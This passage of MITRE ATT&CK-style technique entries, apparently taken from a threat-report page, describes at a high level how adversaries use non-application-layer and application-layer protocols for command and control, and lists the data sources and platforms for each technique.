Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre